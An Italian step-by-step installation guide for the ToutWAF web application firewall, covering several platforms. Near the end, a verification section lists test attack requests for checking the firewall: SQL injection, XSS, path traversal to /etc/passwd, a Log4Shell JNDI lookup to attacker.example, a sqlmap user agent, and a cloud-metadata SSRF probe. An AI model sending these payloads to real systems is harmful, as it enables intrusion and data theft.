Installa ToutWAF passo dopo passo

Procedure da copiare e incollare per AlmaLinux 10, altre distribuzioni Linux, Windows, Docker e Kubernetes. Binari nativi: nessun runtime da installare. Poi esegui la procedura guidata, cambia il DNS e verifica.

Quale versione installi

La versione pubblica è una versione di sviluppo, chiamata 0.3.0-dev. Il suo nome non cambia: ogni pubblicazione sostituisce la precedente e un identificativo di build distingue due build. Non esiste ancora una versione stabile: sarà pubblicata solo quando ogni sistema e ogni pacchetto saranno stati testati end to end. I comandi di questa pagina installano quindi dal canale dev. Una versione di sviluppo può contenere difetti: provala su un sito di prova prima di farci affidamento.

Requisiti

Un server a 64 bit (amd64 o arm64) con Linux o Windows, accesso root o amministratore e le porte 80 e 443 libere. La console ascolta sulla porta 9443, sotto un percorso segreto. I dettagli su requisiti e dipendenze sono qui sotto.

Requisiti e dipendenze

Di cosa ha bisogno il tuo server, cosa aggiunge l'installer e cosa resta facoltativo.

Sistemi supportati

Linux con systemd 239 o successivo e glibc 2.28 o successiva, su amd64 o arm64: AlmaLinux, Rocky Linux, RHEL e Oracle Linux dall'8 al 10, CentOS Stream, Fedora, Amazon Linux 2023, Debian dall'11 al 13, Ubuntu dal 20.04 al 26.04, openSUSE e Arch (tabella completa sotto). Windows 10, 11 e Server dal 2016 al 2025 (non ancora eseguito su un vero host Windows). L'installer controlla il tuo sistema prima di modificare qualsiasi cosa. Server che aggiungi dalla console: l'agente host esiste per Linux (amd64, arm64) e Windows (amd64).

Porte di rete

80 e 443: traffico web (data plane). 9443: console (modificabile con --cp-port). 9444: API usata dai nodi data plane e dagli agenti dei server; l'installer non la apre, consentila solo dai tuoi server. 127.0.0.1:9101: endpoint di salute locale. L'UDP 443 resta chiuso (HTTP/3 non è implementato). Gli agenti dei server effettuano solo connessioni in uscita verso la porta 9444.

Cosa fa l'installer

Richiede i diritti di root o amministratore e HTTPS in uscita per scaricare la versione. Installa curl, tar e libcap se mancano (e policycoreutils-python-utils sui sistemi SELinux), crea un utente toutwaf senza privilegi e una cartella di installazione unica (/var/toutwaf con bin, conf, data e logs; --home DIR la cambia, e un'installazione precedente mantiene i suoi percorsi), installa servizi systemd rinforzati (servizi Windows su Windows), permette al data plane di usare le porte 80 e 443 senza root, apre il firewall per impostazione predefinita quando firewalld o ufw è attivo (80, 443 e la porta della console; --console-from limita la console, --no-firewall lo disattiva), etichetta i file per SELinux e verifica le somme SHA-256.

Lingua dell'installer

Inglese di default; l'installer rileva la lingua di sistema. Forzatene una con --fr --de --es --it --pt --nl --ru --zh --ar o --en (Windows: -Fr ecc., o la variabile TOUTWAF_LANG).

Binari autonomi

Il data plane è scritto in Rust, il control plane e l'agente in Go, e la console è incorporata nel control plane. Nessun runtime Python, Node.js o Java e nessun server di database da installare: i dati sono in SQLite. Il data plane Rust richiede glibc 2.28 o successiva. Principali componenti di terze parti: tokio, hyper e rustls (Rust), Svelte e xterm.js (console).

Componenti facoltativi

ClamAV per le scansioni antivirus degli host Linux (la console può installarlo per te); Microsoft Defender su Windows. openssl solo se attivi la verifica della firma delle versioni, cosign solo se vuoi verificare le firme con esso. Docker non è necessario: i manifest Docker e Kubernetes sono modalità di distribuzione alternative.

ToutPanel (server di web hosting)

Si installa dalla console via SSH, oppure con il proprio installer. Linux: Debian da 11 a 13, Ubuntu da 20.04 a 24.04, AlmaLinux, Rocky Linux e RHEL 9 e 10, Fedora 40 e successive. Windows 10 e 11, Windows Server dal 2016 al 2025. Richiede root e bash (Linux) o PowerShell 5.1+ come amministratore (Windows), Python da 3.9 a 3.14 (installato dallo script se la distribuzione lo fornisce), almeno 1 GB di RAM (2 GB consigliati con MariaDB e PHP), 2 GB di disco libero più i tuoi siti e HTTPS in uscita. Il suo pannello ascolta di default sulla porta 8888; le porte 80 e 443 servono i siti. Fonte: il README di ToutPanel.

ToutWAF non pubblica ancora valori minimi di CPU, RAM o disco: dimensiona il server con un test sul tuo traffico.

Sistemi supportati

Verificati dall'installer prima di modificare qualsiasi cosa. Gli stati provengono dai dati dell'installer stesso.

  • tested Il test di installazione completo in container è passato su quella versione esatta.
  • expected Stessa famiglia, glibc e systemd abbastanza recenti, ma il test completo non è stato eseguito.
  • unsupported Rifiutato prima di qualsiasi modifica (aggirabile a proprio rischio con --skip-os-check).
amd64supportedarm64supportedarm32unsupported
DistribuzioneVersioni
AlmaLinux10tested9tested8tested
Rocky Linux10tested9tested8tested
Red Hat Enterprise Linux10tested9tested8tested7unsupported
CentOS Stream10tested9tested8unsupported7unsupported
Oracle Linux10tested9tested8tested7unsupported
Fedora44tested43tested42tested41tested
Amazon Linux2023tested2unsupported
Debian13tested12tested11tested10unsupported
Ubuntu26.04tested25.10tested24.04tested22.04tested20.04tested18.04unsupported
Linux Mint / LMDEtutte le versioniexpected
Pop!_OStutte le versioniexpected
Zorin OStutte le versioniexpected
elementary OStutte le versioniexpected
Kali Linuxrollingexpected
Raspberry Pi OS (32-bit, Raspbian)tutte le versioniunsupported
Devuantutte le versioniunsupported
openSUSE Leap16.0tested15.6tested
openSUSE Tumbleweedrollingtested
openSUSE Slowrollrollingexpected
SUSE Linux Enterprise Server16.0expected15.7expected15.6expected
SUSE Linux Micro / MicroOS / Aeontutte le versioniunsupported
openSUSE MicroOS / Aeon / Kalpatutte le versioniunsupported
Arch Linuxrollingtested
Manjarorollingexpected
EndeavourOSrollingexpected
Garuda Linuxrollingexpected
CachyOSrollingexpected
Artix Linuxtutte le versioniunsupported
Alpine Linuxtutte le versioniunsupported
Void Linuxtutte le versioniunsupported
NixOStutte le versioniunsupported
WindowsWindows 11expectedWindows 10expectedWindows Server 2025expectedWindows Server 2022expectedWindows Server 2019expectedWindows Server 2016expected
Verificare senza installare: sudo bash install.sh --check-compat (Windows: -CheckCompat). Il codice di uscita è 0 se compatibile, 3 altrimenti. Per proseguire a proprio rischio su un sistema non supportato, usa --skip-os-check: non è mai silenzioso e non aggira il rifiuto dell'ARM a 32 bit.
Raspberry Pi e altri server arm64: Raspberry Pi 3, 4, 5 e Zero 2 W richiedono un SO a 64 bit (Raspberry Pi OS a 64 bit, Ubuntu o Debian arm64). La build arm64 è stata eseguita solo sotto emulazione, mai su hardware reale, e non esiste alcun benchmark. L'ARM a 32 bit è rifiutato.
Windows 10 (1809 e successive), 11 e Server dal 2016 al 2025 sono expected: l'installer Windows non è stato eseguito su un vero host Windows. La build Windows ARM64 è stata solo compilata in cross e non è mai stata eseguita.
Docker: l'immagine tutto in uno è stata provata solo su Linux amd64. I Mac Apple Silicon e Intel non sono provati e macOS nativo non è fornito.

La procedura guidata: da zero a un sito protetto

Al primo avvio la procedura guidata web ti porta da zero a un sito protetto, in modalità rilevamento, senza rompere nulla.

Dominio e origine

Inserisci il dominio pubblico e l'indirizzo del tuo server.

Certificato automatico

Un certificato dell'autorità che scegli (Let's Encrypt per impostazione predefinita) viene richiesto e rinnovato per te.

Rilevamento dello stack

ToutWAF riconosce WordPress, Laravel, Django e altri.

Modello di policy

Viene proposto un modello su misura. Controllalo o mantieni quello predefinito.

Modalità rilevamento

Il traffico viene analizzato senza bloccare per qualche giorno, poi viene creato un report.

Passa al blocco

Un clic per applicare, un clic per tornare indietro.

Rapporto di rilevamento dopo 7 giorni (esempio)
  • ✓Il 99,8% del traffico sarebbe consentito
  • !3 regole causano il 95% dei falsi positivi
  • ✓3 eccezioni proposte, pronte per la revisione

Aggiorna il sistema e installa i prerequisiti

bash
sudo dnf -y update
sudo dnf -y install curl tar ca-certificates firewalld policycoreutils-python-utils

Installa con l'installer in una riga

Lo script scarica i binari nativi per la tua architettura, crea un utente dedicato senza privilegi e installa i servizi systemd rafforzati toutwaf-dp (data plane, porte 80 e 443) e toutwaf-cp (control plane e console, porta 9443), poi mostra le informazioni per il primo accesso.

bash
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash

Preferisci leggere prima lo script?

Scaricalo, controllalo, poi eseguilo. Consigliato per i server di produzione.

bash
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
less install.sh
sudo bash install.sh

Opzioni dell'installer

Una nuova installazione risiede in un'unica cartella, /var/toutwaf (bin, conf, data e logs; cambiala con --home DIR o TOUTWAF_HOME), e gli strumenti da riga di comando sono collegati in /usr/local/bin. Un'installazione precedente mantiene i propri percorsi (/etc/toutwaf, /var/lib/toutwaf) e non viene mai spostata.

options
# only let your admin network reach the console (port 9443)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --console-from 203.0.113.0/24

# do not touch the host firewall / choose the installation home
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --no-firewall
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --home /opt/toutwaf

# name the channel explicitly (the installer of the dev branch already takes the dev channel; no stable version exists yet)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --channel dev

Apri il firewall

L'installer apre queste porte per impostazione predefinita quando firewalld o ufw è attivo: 80 e 443, e la porta 9443 della console (limitala alla tua rete di amministrazione con --console-from). La porta 9444 degli agent non viene mai aperta al pubblico. Questi comandi servono solo con --no-firewall, con un altro firewall o per farlo a mano.

firewalld
sudo systemctl enable --now firewalld
sudo firewall-cmd --permanent --add-service=http --add-service=https
sudo firewall-cmd --permanent --add-rich-rule='rule family="ipv4" source address="203.0.113.0/24" port port="9443" protocol="tcp" accept'
sudo firewall-cmd --reload
sudo firewall-cmd --list-all

SELinux

Mantieni SELinux in modalità enforcing. Etichetta le directory di ToutWAF e verifica che non venga registrato alcun rifiuto AVC.

selinux
getenforce
sudo restorecon -Rv /var/toutwaf
sudo ausearch -m avc -ts recent

Gestisci i servizi

Entrambi i servizi si avviano al boot. Usa questi comandi per avviarli, fermarli o riavviarli.

systemd
sudo systemctl enable --now toutwaf-cp toutwaf-dp
sudo systemctl restart toutwaf-cp toutwaf-dp
sudo systemctl stop toutwaf-dp toutwaf-cp

Verifica i servizi

bash
sudo systemctl status toutwaf-cp toutwaf-dp --no-pager
toutwafctl doctor
curl -kI https://127.0.0.1:9443/
curl -s http://127.0.0.1:9101/healthz
sudo journalctl -u toutwaf-dp -u toutwaf-cp -n 50 --no-pager

Aggiorna

Fai il backup della configurazione e dei dati, poi riesegui l'installer: mantiene le tue impostazioni e torna indietro da solo se la nuova versione non diventa sana. I percorsi mostrati sono quelli di una nuova installazione (/var/toutwaf); un'installazione precedente mantiene /etc/toutwaf e /var/lib/toutwaf. Puoi anche aggiornare dalla console, nella pagina Aggiornamenti.

bash
sudo mkdir -p /var/toutwaf.bak
sudo cp -a /var/toutwaf/conf /var/toutwaf/data /var/toutwaf.bak/
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --update --yes
curl -s http://127.0.0.1:9101/healthz

Disinstalla

Il primo blocco rimuove i servizi, i binari e le regole del firewall aggiunte da ToutWAF, e conserva i tuoi dati. Il secondo elimina anche configurazione, dati e log.

bash
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
sudo bash install.sh --uninstall
purge
sudo bash install.sh --uninstall --purge

Aggiorna il sistema e installa i prerequisiti

Rocky Linux, RHEL da 8 a 10 e altri cloni di Enterprise Linux usano gli stessi comandi di AlmaLinux. Dopo l'installazione, segui i passaggi firewalld e SELinux della scheda AlmaLinux 10.
bash
sudo dnf -y update
sudo dnf -y install curl tar ca-certificates firewalld policycoreutils-python-utils

Installa con l'installer in una riga

Lo script scarica i binari nativi per la tua architettura, crea un utente dedicato senza privilegi e installa i servizi systemd rafforzati toutwaf-dp (data plane, porte 80 e 443) e toutwaf-cp (control plane e console, porta 9443), poi mostra le informazioni per il primo accesso.

bash
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash

Preferisci leggere prima lo script?

Scaricalo, controllalo, poi eseguilo. Consigliato per i server di produzione.

bash
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
less install.sh
sudo bash install.sh

Opzioni dell'installer

Una nuova installazione risiede in un'unica cartella, /var/toutwaf (bin, conf, data e logs; cambiala con --home DIR o TOUTWAF_HOME), e gli strumenti da riga di comando sono collegati in /usr/local/bin. Un'installazione precedente mantiene i propri percorsi (/etc/toutwaf, /var/lib/toutwaf) e non viene mai spostata.

options
# only let your admin network reach the console (port 9443)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --console-from 203.0.113.0/24

# do not touch the host firewall / choose the installation home
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --no-firewall
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --home /opt/toutwaf

# name the channel explicitly (the installer of the dev branch already takes the dev channel; no stable version exists yet)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --channel dev

Gestisci i servizi

Entrambi i servizi si avviano al boot. Usa questi comandi per avviarli, fermarli o riavviarli.

systemd
sudo systemctl enable --now toutwaf-cp toutwaf-dp
sudo systemctl restart toutwaf-cp toutwaf-dp
sudo systemctl stop toutwaf-dp toutwaf-cp

Verifica i servizi

bash
sudo systemctl status toutwaf-cp toutwaf-dp --no-pager
toutwafctl doctor
curl -kI https://127.0.0.1:9443/
curl -s http://127.0.0.1:9101/healthz
sudo journalctl -u toutwaf-dp -u toutwaf-cp -n 50 --no-pager

Aggiorna

Fai il backup della configurazione e dei dati, poi riesegui l'installer: mantiene le tue impostazioni e torna indietro da solo se la nuova versione non diventa sana. I percorsi mostrati sono quelli di una nuova installazione (/var/toutwaf); un'installazione precedente mantiene /etc/toutwaf e /var/lib/toutwaf. Puoi anche aggiornare dalla console, nella pagina Aggiornamenti.

bash
sudo mkdir -p /var/toutwaf.bak
sudo cp -a /var/toutwaf/conf /var/toutwaf/data /var/toutwaf.bak/
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --update --yes
curl -s http://127.0.0.1:9101/healthz

Disinstalla

Il primo blocco rimuove i servizi, i binari e le regole del firewall aggiunte da ToutWAF, e conserva i tuoi dati. Il secondo elimina anche configurazione, dati e log.

bash
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
sudo bash install.sh --uninstall
purge
sudo bash install.sh --uninstall --purge

Installa i prerequisiti (apt)

bash
sudo apt update && sudo apt -y upgrade
sudo apt -y install curl tar ca-certificates ufw

Installa con l'installer in una riga

Lo script scarica i binari nativi per la tua architettura, crea un utente dedicato senza privilegi e installa i servizi systemd rafforzati toutwaf-dp (data plane, porte 80 e 443) e toutwaf-cp (control plane e console, porta 9443), poi mostra le informazioni per il primo accesso.

bash
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash

Preferisci leggere prima lo script?

Scaricalo, controllalo, poi eseguilo. Consigliato per i server di produzione.

bash
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
less install.sh
sudo bash install.sh

Opzioni dell'installer

Una nuova installazione risiede in un'unica cartella, /var/toutwaf (bin, conf, data e logs; cambiala con --home DIR o TOUTWAF_HOME), e gli strumenti da riga di comando sono collegati in /usr/local/bin. Un'installazione precedente mantiene i propri percorsi (/etc/toutwaf, /var/lib/toutwaf) e non viene mai spostata.

options
# only let your admin network reach the console (port 9443)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --console-from 203.0.113.0/24

# do not touch the host firewall / choose the installation home
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --no-firewall
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --home /opt/toutwaf

# name the channel explicitly (the installer of the dev branch already takes the dev channel; no stable version exists yet)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --channel dev

Apri il firewall (ufw)

L'installer apre queste porte per impostazione predefinita quando firewalld o ufw è attivo: 80 e 443, e la porta 9443 della console (limitala alla tua rete di amministrazione con --console-from). La porta 9444 degli agent non viene mai aperta al pubblico. Questi comandi servono solo con --no-firewall, con un altro firewall o per farlo a mano.

ufw
sudo ufw allow 80,443/tcp
sudo ufw allow from 203.0.113.0/24 to any port 9443 proto tcp
sudo ufw --force enable
sudo ufw status

Gestisci i servizi

Entrambi i servizi si avviano al boot. Usa questi comandi per avviarli, fermarli o riavviarli.

systemd
sudo systemctl enable --now toutwaf-cp toutwaf-dp
sudo systemctl restart toutwaf-cp toutwaf-dp
sudo systemctl stop toutwaf-dp toutwaf-cp

Verifica i servizi

bash
sudo systemctl status toutwaf-cp toutwaf-dp --no-pager
toutwafctl doctor
curl -kI https://127.0.0.1:9443/
curl -s http://127.0.0.1:9101/healthz
sudo journalctl -u toutwaf-dp -u toutwaf-cp -n 50 --no-pager

Aggiorna

Fai il backup della configurazione e dei dati, poi riesegui l'installer: mantiene le tue impostazioni e torna indietro da solo se la nuova versione non diventa sana. I percorsi mostrati sono quelli di una nuova installazione (/var/toutwaf); un'installazione precedente mantiene /etc/toutwaf e /var/lib/toutwaf. Puoi anche aggiornare dalla console, nella pagina Aggiornamenti.

bash
sudo mkdir -p /var/toutwaf.bak
sudo cp -a /var/toutwaf/conf /var/toutwaf/data /var/toutwaf.bak/
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --update --yes
curl -s http://127.0.0.1:9101/healthz

Disinstalla

Il primo blocco rimuove i servizi, i binari e le regole del firewall aggiunte da ToutWAF, e conserva i tuoi dati. Il secondo elimina anche configurazione, dati e log.

bash
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
sudo bash install.sh --uninstall
purge
sudo bash install.sh --uninstall --purge

Apri PowerShell come amministratore ed esegui l'installer

Installa i binari nativi, registra il servizio Windows ToutWAF per il data plane e un'attività di avvio per la console, e apre le porte del firewall. L'installer non è ancora stato eseguito su un vero host Windows.

PowerShell (Admin)
Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass -Force
irm https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.ps1 | iex

Apri il firewall

L'installer apre queste porte per impostazione predefinita quando firewalld o ufw è attivo: 80 e 443, e la porta 9443 della console (limitala alla tua rete di amministrazione con --console-from). La porta 9444 degli agent non viene mai aperta al pubblico. Questi comandi servono solo con --no-firewall, con un altro firewall o per farlo a mano.

PowerShell (Admin)
New-NetFirewallRule -DisplayName "ToutWAF Web" -Direction Inbound -Protocol TCP -LocalPort 80,443 -Action Allow
New-NetFirewallRule -DisplayName "ToutWAF Console" -Direction Inbound -Protocol TCP -LocalPort 9443 -RemoteAddress 203.0.113.0/24 -Action Allow

Verifica i servizi

PowerShell
Get-Service ToutWAF
toutwafctl doctor
Test-NetConnection 127.0.0.1 -Port 9443

Aggiorna

Fai il backup della configurazione e dei dati, poi riesegui l'installer: mantiene le tue impostazioni e torna indietro da solo se la nuova versione non diventa sana. I percorsi mostrati sono quelli di una nuova installazione (/var/toutwaf); un'installazione precedente mantiene /etc/toutwaf e /var/lib/toutwaf. Puoi anche aggiornare dalla console, nella pagina Aggiornamenti.

PowerShell (Admin)
Copy-Item "$env:ProgramData\ToutWAF" "$env:ProgramData\ToutWAF.bak" -Recurse
& ([scriptblock]::Create((irm https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.ps1))) -Update -Yes

Disinstalla

Il primo blocco rimuove i servizi, i binari e le regole del firewall aggiunte da ToutWAF, e conserva i tuoi dati. Il secondo elimina anche configurazione, dati e log.

PowerShell (Admin)
& ([scriptblock]::Create((irm https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.ps1))) -Uninstall
purge
& ([scriptblock]::Create((irm https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.ps1))) -Uninstall -Purge

Docker Compose su Mac o Linux

Docker Compose su Linux o su un Mac (Docker Desktop, OrbStack, Colima), con l'immagine tutto in uno (control plane e data plane). I file arrivano con la tua distribuzione ToutWAF (la cartella deploy, che non è nel repository pubblico: quello contiene solo binari e installer). L'immagine contiene binari precompilati per architettura (bin/amd64 o bin/arm64) e nessuna immagine è ancora pubblicata in un registry. Testata solo su Linux amd64; non provata su un vero Mac, dove l'IP del client visto dietro Docker Desktop è l'indirizzo del gateway Docker. Le credenziali monouso compaiono una sola volta nel log del control plane.

bash
cd deploy/docker
# bin/amd64/{toutwaf-cp,toutwaf-dp,toutwafctl}  (Intel Mac, Linux x86-64)
# bin/arm64/{toutwaf-cp,toutwaf-dp,toutwafctl}  (Apple Silicon, Linux ARM)
cp .env.example .env
docker compose up -d --build
docker compose logs toutwaf-cp

Aggiornare (container)

Fai prima un backup. Il pulsante di aggiornamento della console non può funzionare in un container: sostituisci i binari nella cartella bin (o l'immagine, quando ne sarà pubblicata una) e ricostruisci; i volumi, quindi i tuoi dati, vengono conservati.

bash
docker compose up -d --build

Disinstalla

Il primo blocco rimuove i servizi, i binari e le regole del firewall aggiunte da ToutWAF, e conserva i tuoi dati. Il secondo elimina anche configurazione, dati e log.

bash
docker compose down
purge
docker compose down -v

Installa con Helm

Distribuisce il data plane come ingress, con un control plane nel cluster se lo desideri. Il chart e i manifest (modalità sidecar inclusa) sono nella cartella deploy della tua distribuzione ToutWAF, non nel repository pubblico, che contiene solo binari e installer. L'operatore si limita a CRD e a uno scheletro.

bash
helm install toutwaf ./deploy/helm/toutwaf --namespace toutwaf --create-namespace -f my-values.yaml

Verifica i pod e apri la console

bash
kubectl -n toutwaf get pods
kubectl -n toutwaf port-forward svc/toutwaf-cp 9443:9443

Aggiornare (container)

Fai prima un backup. Il pulsante di aggiornamento della console non può funzionare in un container: sostituisci i binari nella cartella bin (o l'immagine, quando ne sarà pubblicata una) e ricostruisci; i volumi, quindi i tuoi dati, vengono conservati.

bash
helm upgrade toutwaf ./deploy/helm/toutwaf --namespace toutwaf -f my-values.yaml

Disinstalla

Il primo blocco rimuove i servizi, i binari e le regole del firewall aggiunte da ToutWAF, e conserva i tuoi dati. Il secondo elimina anche configurazione, dati e log.

bash
helm uninstall toutwaf --namespace toutwaf
purge
kubectl delete namespace toutwaf

Dopo l'installazione: configura e verifica

Primo accesso

Apri il link segreto della console mostrato al termine dell'installazione (la console risponde solo sotto quel percorso), poi usa il link di configurazione monouso o la password amministratore generata una sola volta nel riepilogo. Attiva subito l'autenticazione a due fattori e crea un secondo amministratore per non restare mai chiuso fuori.

console
Console : https://<server>:9443/<secret-path>/   (printed by the installer)
CLI     : toutwafctl --help
Health  : http://127.0.0.1:9101/healthz   (data plane, local only)

Aggiungi il tuo primo sito

In Siti, fai clic su Nuovo sito e inserisci il dominio pubblico e l'upstream (l'indirizzo reale del tuo server). Inizia in modalità solo rilevamento, poi passa al blocco quando il report è pulito. I siti si possono creare anche con l'API REST e un token API.

API
curl -sk -X POST https://127.0.0.1:9443/api/v1/apps \
  -H "Authorization: Bearer $TOUTWAF_TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"name":"example.com","hostnames":["example.com"],"origins":[{"url":"http://10.0.0.12:8080"}],"mode":"detect"}'

Cambia il DNS

Riduci il TTL dei tuoi record il giorno prima. Poi punta i record A / AAAA del dominio al server ToutWAF. Quando il DNS si è propagato, il certificato viene emesso. Limita il firewall della tua origine in modo che solo il server ToutWAF possa raggiungerla.

DNS
example.com.      300  IN  A      203.0.113.10
www.example.com.  300  IN  CNAME  example.com.
origin firewall
sudo ufw allow from 203.0.113.10 to any port 8080 proto tcp
sudo ufw deny 8080/tcp

Verifica con attacchi di prova

Ognuna di queste richieste deve restituire 403 e comparire in Attacchi (in modalità blocco). Eseguile solo sui tuoi siti.

In PowerShell su Windows usa curl.exe invece di curl, che è un alias.
curl
curl -i "https://example.com/?id=1%27%20OR%20%271%27=%271"
curl -i "https://example.com/search?q=%3Cscript%3Ealert(1)%3C/script%3E"
curl -i --path-as-is "https://example.com/download?file=../../../../etc/passwd"
curl -i -H 'User-Agent: ${jndi:ldap://attacker.example/a}' https://example.com/
curl -i -A "sqlmap/1.7.2" https://example.com/
curl -i "https://example.com/?url=http://169.254.169.254/latest/meta-data/"
curl -i https://example.com/

Risoluzione dei problemi

La console non è raggiungibile sulla porta 9443

Avvia il Dottore ToutWAF sul server: controlla i servizi, le porte e il firewall della macchina e dice cosa fare. Funziona anche dalla riga di comando quando la console stessa è irraggiungibile; l'eventuale gruppo di sicurezza del cloud davanti al server deve lasciar passare anche la porta 9443.

Richieste legittime vengono bloccate (falsi positivi)

Apri l'evento in Attacchi, leggi la spiegazione, poi fai clic sul pulsante falso positivo per creare l'eccezione più stretta, oppure abbassa il livello di paranoia del sito.

502 Bad Gateway

ToutWAF non raggiunge la tua origine. Apri il Dottore ToutWAF, riga «Server di origine»: dice se la porta rifiuta la connessione, se il nome non si risolve o se il certificato non è attendibile, e cosa fare. Controlla anche il firewall dell'origine.

L'emissione di Let's Encrypt non riesce

Il Dottore ToutWAF controlla il DNS (compreso un record AAAA dimenticato presso un CDN o un proxy) e la raggiungibilità della porta 80 prima di un ordine. Per un certificato wildcard usa la sfida DNS-01.

L'IP reale del client è sbagliato nella mia app

Leggi l'header X-Forwarded-For impostato da ToutWAF e fidati solo se proviene dall'indirizzo del server ToutWAF.

Dove sono i log?

Usa le pagine Log ed Eventi della console. I servizi scrivono anche nel journal di sistema della macchina e il Dottore produce un rapporto di testo che puoi inviare al supporto.

Prossimo passo: leggi la documentazione completa